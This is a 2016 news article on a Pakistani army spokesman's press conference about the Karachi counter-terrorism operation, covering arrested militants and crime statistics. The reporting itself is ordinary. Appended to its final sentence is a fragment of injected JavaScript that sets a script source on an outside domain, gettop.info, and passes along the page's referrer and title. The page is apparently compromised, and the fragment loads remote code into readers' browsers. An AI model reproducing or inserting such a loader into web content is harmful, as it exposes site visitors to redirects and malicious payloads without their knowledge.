Published On: Sat, Feb 13th, 2016
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Karachi operation to go on till lasting peace: ISPR spokesperson

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Karachi: Inter Services Public Relations (ISPR) Director-General Lt-Gen Asim Saleem Bajwa has said that the army was committed to the ongoing operation against terrorists and criminals. He also said that the army will lend support to the police and Rangers to restore complete peace in Karachi.

“The army has a commitment with Karachi. Much has been achieved but much is still left, which will be accomplished soon with the help of other state institutions under an integrated approach’, Bajwa said while addressing a press conference at the crops headquarters on Friday.

“Peace in Karachi will be established and until it happens, the operation will continue,” he said.

He said under the Zarb-e-Azab operation a major portion of North Waziristan has been cleared of militants and their control and command system had been dismantled.

Three major terrorist groups involved in numerous terrorist attacks in Karachi and elsewhere in the country for last six years have been busted during the ongoing operation in the metropolis.

These groups- Al-Qaeda (subcontinent), Lashkar-e-Jhangvi (LeJ), and Tehrik-e-Taliban Pakistan (TTP) had formed a nexus to carry out terrorists attacks in Karachi and were involved in deadly attacks on Manawan (Lahore) police training school, Karachi airport, ISI offices in Lahore, Multan, and Sukkur, Kamra airbase, Mehran Naval Base Karachi, and other installations, and the killing of a senior Karachi police officer, Chaudhry Aslam in a suicide attack.

The network run by LeJ Sindh chief, Naeem Bukhari, Al-Qeada( subcontinent) deputy chief, Farooq Mussana, and LeJ’s ddeputy Sindh chief, Sabir Khan alias Munna, was also planning to break the Hyderabad jail to get around 100 hardcore militants, including Omer Saeed Shaikh, escaped. A jail constable who provided the jail map and other information to the terrorists, had also been arrested, he added.

The three most-wanted terrorists who have recently been arrested in intelligence based operations in Karachi, were presented before the media at the press conference.

General Bajwa said that Naeem Bukhari was the mastermind of 2014 Karachi airport attack, which was planned in Miranshah, the administrative headquarters of North Waziristan.

Enumerating the achievements of security forces in Karachi operation, General Bajwa said that over 13000 intelligence based operations, of which 4788 in Sindh, 6442 in Punjab, 1904 in Balochistan and 72 ion Gilgit-Baltistan, had been carried out since June 2014.

In Karachi alone, he said, over 12000 suspects had been arrested from September 2014 to February 2016, of them, around 6000 were handed over to the police, apart from recovery of nearly 9000 weapons.

According to a break-up provided by General Bajwa, there has been a 60 per cent decline in incidents of targeted killings, 85 per cent in extortion and 90 per cent in kidnap for ransom due to the ongoing operation in Karachi.

Besides, he added, some 94 hardcore terrorists-28 of them carried significant head-money- had also been arrested during respective period.

To a question regarding weak prosecution that often results in acquittal of terrorists, General Bajwa admitted that “ there has been a gap , which needs to be filled”. He said the issue had been raised at all forums including in apex committee meetings, and “ I am hopeful the issue is being taken up seriously”.

To yet another question, the army spokesman said the foreign funding to the terrorists networks operating in Pakistan “ is a reality”.

“They (terrorists) have been spending huge amounts on planning and executions of their plots. They don’t have businesses or agriculture lands to fund them. They are meeting their expenses through funding from abroad”, he maintained.s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;